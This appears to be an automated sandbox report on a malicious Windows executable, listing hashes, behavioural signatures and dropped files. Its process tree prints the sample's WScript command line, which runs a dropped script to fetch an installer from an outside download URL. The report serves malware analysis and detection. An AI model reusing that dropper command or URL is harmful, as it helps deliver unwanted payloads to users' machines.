3c5c9aba42ed81717d9eb1c7c71c0f63655d9e82c8378553ea4eefec5469feb8

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
30/04/2024, 22:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe
Size

184KB
MD5

0a89c128d697ccbdff91a7aa88856529
SHA1

c3202b614ab2a13586416d1f85d259433b310d91
SHA256

3c5c9aba42ed81717d9eb1c7c71c0f63655d9e82c8378553ea4eefec5469feb8
SHA512

a8bab75b24a16438abe89887edc526661d6e651bb8a9ac4b32b6b657b933a4a0f95fab6c318b3cb8981fd01791e04a7ab223c9ec3e7443a30aa0605e3937dcf7
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3O:/7BSH8zUB+nGESaaRvoB7FJNndn/

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	2704	WScript.exe
8	2704	WScript.exe
10	2704	WScript.exe
12	2368	WScript.exe
13	2368	WScript.exe
15	2724	WScript.exe
16	2724	WScript.exe
18	1696	WScript.exe
19	1696	WScript.exe
21	2880	WScript.exe
22	2880	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
928	1636	WerFault.exe	27

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1636 wrote to memory of 2704	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	28
PID 1636 wrote to memory of 2704	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	28
PID 1636 wrote to memory of 2704	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	28
PID 1636 wrote to memory of 2704	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	28
PID 1636 wrote to memory of 2368	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	30
PID 1636 wrote to memory of 2368	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	30
PID 1636 wrote to memory of 2368	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	30
PID 1636 wrote to memory of 2368	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	30
PID 1636 wrote to memory of 2724	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	32
PID 1636 wrote to memory of 2724	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	32
PID 1636 wrote to memory of 2724	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	32
PID 1636 wrote to memory of 2724	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	32
PID 1636 wrote to memory of 1696	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	34
PID 1636 wrote to memory of 1696	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	34
PID 1636 wrote to memory of 1696	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	34
PID 1636 wrote to memory of 1696	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	34
PID 1636 wrote to memory of 2880	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	36
PID 1636 wrote to memory of 2880	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	36
PID 1636 wrote to memory of 2880	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	36
PID 1636 wrote to memory of 2880	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	36
PID 1636 wrote to memory of 928	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	38
PID 1636 wrote to memory of 928	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	38
PID 1636 wrote to memory of 928	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	38
PID 1636 wrote to memory of 928	1636	0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe	38

C:\Users\Admin\AppData\Local\Temp\0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0a89c128d697ccbdff91a7aa88856529_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1636
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufF3D.js" http://www.djapp.info/?domain=lAqgUbXHjn.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fufF3D.exe
  2⤵
  - Blocklisted process makes network request
  PID:2704
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufF3D.js" http://www.djapp.info/?domain=lAqgUbXHjn.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fufF3D.exe
  2⤵
  - Blocklisted process makes network request
  PID:2368
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufF3D.js" http://www.djapp.info/?domain=lAqgUbXHjn.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fufF3D.exe
  2⤵
  - Blocklisted process makes network request
  PID:2724
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufF3D.js" http://www.djapp.info/?domain=lAqgUbXHjn.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fufF3D.exe
  2⤵
  - Blocklisted process makes network request
  PID:1696
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufF3D.js" http://www.djapp.info/?domain=lAqgUbXHjn.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fufF3D.exe
  2⤵
  - Blocklisted process makes network request
  PID:2880
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1636 -s 236
  2⤵
  - Program crash
  PID:928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
422a081e58bf330679ef48dc46d7a1d5

SHA1
2636af2dca0b8da050cceb3302ca6c76fb322ecd

SHA256
cdede115b447b845285b6436b9aa5e561a9711c30cf89d2be2a78a4e0dc88af7

SHA512
77354ea7d10f2a96d715e2f8450ca2e8322d2af29a0fb4b178e5dc3c90a20c7bb8651fb36aa83ab33616505d71c3175988d1ba959024a9e035270d2d5823ab35

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
2661f4033ad8cb7fe836abd45ca75b5a

SHA1
bbf40ecbd73e4e55047cd2de3a355911f42621c2

SHA256
d094797df54c0a50488687111cc06df2b22b0bab326b531e7b9e2bdaf800fec2

SHA512
35ce4c9eeb2039597bf0f9ad0bbf7b37c3c65e2a33014c1f2077343537488660aedf1b47076b6ec62b580ec301d3d9aa306e563f24bb4d30bd6bfe510c00491c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
1bb1f9e56f26515f2ba137fa64be3868

SHA1
a566191c0f7c5776df440737e8236103623e38f5

SHA256
9647b76f914fae7337681b2908d7b9f92b065e4cfb43b66aa846445043a5dfb8

SHA512
e911ea78b8a41325b3feec96d697a3f7c64e9e92dcc00f9923fbc8a50c5a440edcd1e0d7dc2308df1fd3a4c63899e3ee98005ae9f5674c6cfc48a4325dd23c0b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
186c22bf3005543302763b42c59bfa7b

SHA1
e745b6c0230d0fae236a0e050107e6507bca2f8c

SHA256
b3c380f6e2bda2d779e753215efd5378e83f6af6ffc38f873fec6523a24c1e18

SHA512
15bacaf3a3cfc12e99455f92d54e4b4c95698b3727480e3f2e4c17662f51955df00bab67698409b310670e131b96b3252c02f57348c347c98a748a6064fd6dbd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I819HQXH\domain_profile[1].htm

Filesize
40KB

MD5
450d726523188fa310797103a5e20bba

SHA1
9aa4145ba3be25ca21a4829b8180165ca9418b96

SHA256
fede35e3566ccd15bf028ca4aacba5603a788a296d4dc33c4db1b175fd0e3604

SHA512
d06b18d256fb9b06bbeed39b89eda908ad9134abab88e66181914de07252825455696e26227cbc57aaa2827e0316404501708e7b001e5cea3e52eb5ed92a27ca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I819HQXH\domain_profile[1].htm

Filesize
40KB

MD5
f80c3de2532ab50d6f17b8613a9b2ae5

SHA1
babcf38331c6d3f02160fdd9073a73a79b34d621

SHA256
fab4f5eb34f25e34c1b99aba6b22caf939557b26629f7d38ad43c597baf13ba9

SHA512
bd652df0ad37cd5e6f868465c28bb2eeb728ba56f4e3d102de12268db83c9e684d995ed950a1cf81181acd9595f4f200c6e2c82e66f63e7a2ea354978bb86966

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I819HQXH\domain_profile[1].htm

Filesize
40KB

MD5
82648867eeb828432254c58ed071bbec

SHA1
5a3503b31adc54c50ceb80ccbf98ec36f248eb8e

SHA256
83597c03820b40aa3977a584b99c8c73d8776a482398e9c322dcdbf2b51e279d

SHA512
f1c25829bdee48b3a5efd1c72a56d38eb07b58de3a8b2cd2ceb4d5b4770817f3dc177ca0db4591121f3fdedf332ba545d2bc0aa3e26d6ad733c07ae3180d0ac1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RYNL6UIN\domain_profile[1].htm

Filesize
40KB

MD5
469c3c3168be22822637484ba518d362

SHA1
7600292117bad6c7621da5a0446f2086d9059265

SHA256
30556684dad38bd456e084432fa7e8e6a2bdce46da209a09f0ea675f9a529db7

SHA512
5d79a783310028fdb4d3d40567f4034963f30e86bec1f1ed7f251aa61c9f948f0e3f5b95571e1cd8d5518905c5364e279f42cffddfc08cceda645626b72d4665

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RYNL6UIN\domain_profile[1].htm

Filesize
40KB

MD5
4c7bef691040d72461ea3f516af5f3e3

SHA1
dbb016ab833e6a49bbd0efe7b69879466cc501ec

SHA256
cb543ca1708596e592e9c34cb83ab6560c2b5d3867250f73b6aea733b149fd79

SHA512
abb71cd79729f18b9183e03a09993b8513e38f49969a9cbd6557cb880be6383a3d06a6c16e5bd0205500aeaec5fd0f1389c410854ee35422c8a3a11e699c9af8

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab3F22.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar5783.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fufF3D.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\GOCB6KEN.txt

Filesize
177B

MD5
8c2c829c800f195bdddc85bd6128d631

SHA1
23bce8283c7cc5441c1635ccb77f310227a93e3c

SHA256
97f0a828d9bfa9e32cea12cdb22e53208335418bcfcbfe1d2735b97e54a886ba

SHA512
968529f29089e9b6ba8c24ccdaca3c6c6ac2328e800d77c06bbf47a6210fb4f866cf99300eca31887d661489d351f7cb17a925df38211b6b9d1eb72251385fc8

Download Submit